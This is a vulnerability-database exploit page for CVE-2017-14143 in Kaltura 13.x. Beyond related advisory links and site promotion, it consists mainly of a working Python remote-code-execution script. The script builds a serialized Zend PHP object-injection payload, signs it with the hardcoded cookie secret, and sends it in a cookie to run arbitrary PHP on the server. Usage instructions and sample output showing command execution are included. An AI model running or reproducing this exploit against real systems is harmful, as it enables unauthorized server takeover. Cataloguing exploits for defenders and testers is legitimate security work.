Lucene search
+L

Kaltura 13.2.0 - Remote Code Execution

🗓️ 23 Oct 2017 00:00:00Reported by Robin VertonType 
exploitpack
 exploitpack
👁 59 Views

Kaltura 13.2.0 Remote Code Execution via index.ph

Related
Code
ReporterTitlePublishedViews
Family
zdt
zdt
Kaltura 13.1.0 Code Execution / Cross Site Scripting Vulnerabilities
25 Sep 201700:00
zdt
zdt
zdt
Kaltura < 13.1.0 - Remote Code Execution Exploit
23 Oct 201700:00
zdt
zdt
zdt
Kaltura - Remote PHP Code Execution over Cookie Exploit
25 Jan 201800:00
zdt
circl
Circl
CVE-2017-14143
23 Oct 201700:00
circl
cnvd
CNVD
Kaltura PHP Object Injection Vulnerability
20 Sep 201700:00
cnvd
cve
CVE
CVE-2017-14143
19 Sep 201715:00
cve
cvelist
Cvelist
CVE-2017-14143
19 Sep 201715:00
cvelist
exploitdb
Exploit DB
Kaltura < 13.2.0 - Remote Code Execution
23 Oct 201700:00
exploitdb
exploitdb
Exploit DB
Kaltura - Remote PHP Code Execution over Cookie (Metasploit)
24 Jan 201800:00
exploitdb
metasploit
Metasploit
Kaltura Remote PHP Code Execution over Cookie
23 Oct 201710:18
metasploit
Rows per page
#!/usr/bin/env python

# Kaltura <= 13.1.0 RCE (CVE-2017-14143)
# https://telekomsecurity.github.io/2017/09/kaltura-rce.html
# 
# $ python kaltura_rce.py "https://example.com" 0_xxxxxxxx "system('id')"
# [~] host: https://example.com
# [~] entry_id: 0_xxxxxxxx
# [~] code: system('id')
# [+] sending request..
# uid=1003(wwwrun) gid=50004(www) groups=50004(www),7373(kaltura)

import urllib
import urllib2
import base64
import md5
import sys

cookie_secret = 'y3tAno3therS$cr3T';

def exploit(host, entry_id, php_code):
    print("[+] Sending request..")
    url = "{}/index.php/keditorservices/getAllEntries?list_type=15&entry_id={}".format(host, entry_id)

    cmd = "{}.die();".format(php_code)
    cmd_len = len(cmd)

    payload = "a:1:{s:1:\"z\";O:8:\"Zend_Log\":1:{s:11:\"\0*\0_writers\";a:1:{i:0;O:20:\"Zend_Log_Writer_Mail\":5:{s:16:\"\0*\0_eventsToMail\";a:1:{i:0;i:1;}s:22:\"\0*\0_layoutEventsToMail\";a:0:{}s:8:\"\0*\0_mail\";O:9:\"Zend_Mail\":0:{}s:10:\"\0*\0_layout\";O:11:\"Zend_Layout\":3:{s:13:\"\0*\0_inflector\";O:23:\"Zend_Filter_PregReplace\":2:{s:16:\"\0*\0_matchPattern\";s:7:\"/(.*)/e\";s:15:\"\0*\0_replacement\";s:%s:\"%s\";}s:20:\"\0*\0_inflectorEnabled\";b:1;s:10:\"\0*\0_layout\";s:6:\"layout\";}s:22:\"\0*\0_subjectPrependText\";N;}}};}"

    exploit_code = payload % (len(cmd), cmd)
    encoded = base64.b64encode(exploit_code)
    md5_hash = md5.new("%s%s" % (encoded, cookie_secret)).hexdigest()

    cookies={'userzone': "%s%s" % (encoded, md5_hash)}

    r = urllib2.Request(url)
    r.add_header('Cookie', urllib.urlencode(cookies))

    req = urllib2.urlopen(r)
    return req.read()

if __name__ == '__main__':

    if len(sys.argv) < 4:
        print("Usage: %s <host> <entry_id> <php_code>" % sys.argv[0])
        print(" example: %s http://example.com 0_abc1234 system('id')" % sys.argv[0])
        sys.exit(0)

    host = sys.argv[1]
    entry_id = sys.argv[2]
    cmd = sys.argv[3]

    print("[~] host: %s" % host)
    print("[~] entry_id: %s" % entry_id)
    print("[~] php_code: %s" % cmd)

    result = exploit(sys.argv[1], sys.argv[2], sys.argv[3])

    print(result)

Data

Build on a solid foundation with Vulners data

We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data

Api

Power your application with Vulners API

The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access

App

Assess and manage vulnerabilities with Vulners tools

Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation

23 Oct 2017 00:00Current
0.1Low risk
Vulners AI Score0.1
EPSS0.75497
59